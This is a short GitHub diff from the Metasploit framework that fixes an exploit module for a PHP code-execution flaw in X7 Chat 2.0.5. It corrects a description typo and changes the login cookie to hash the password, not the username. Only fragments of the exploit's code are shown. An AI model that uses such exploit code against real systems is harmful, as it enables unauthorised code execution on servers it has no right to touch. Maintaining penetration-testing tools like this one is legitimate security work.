File tree Expand file tree Collapse file tree 1 file changed +2
-2
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +2
-2
lines changed Original file line number Diff line number Diff line change @@ -15,7 +15,7 @@ def initialize(info = {})
15
15
super ( update_info ( info ,
16
16
'Name' => 'The X7 Group X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution' ,
17
17
'Description' => %q{
18
- Library lib/message.php for X7 Chat version 2.0.5 and 2.0.5.1 uses preg_replace() function with the /e modifier.
18
+ Library lib/message.php for X7 Chat versions 2.0.5 and 2.0.5.1 uses preg_replace() function with the /e modifier.
19
19
This allows execute PHP code in the remote machine.
20
20
} ,
21
21
'License' => MSF_LICENSE ,
@@ -51,7 +51,7 @@ def check
51
51
def exec_php ( php_code , check = false )
52
52
53
53
cookie_x7c2u = "X7C2U=#{ datastore [ 'USERNAME' ] } "
54
- cookie_x7c2p = "X7C2P=#{ Rex ::Text . md5 ( datastore [ 'USERNAME ' ] ) } "
54
+ cookie_x7c2p = "X7C2P=#{ Rex ::Text . md5 ( datastore [ 'PASSWORD ' ] ) } "
55
55
rand_text = Rex ::Text . rand_text_alpha ( 5 , 8 )
56
56
57
57
# remove comments, line breaks and spaces
You can’t perform that action at this time.
0 commit comments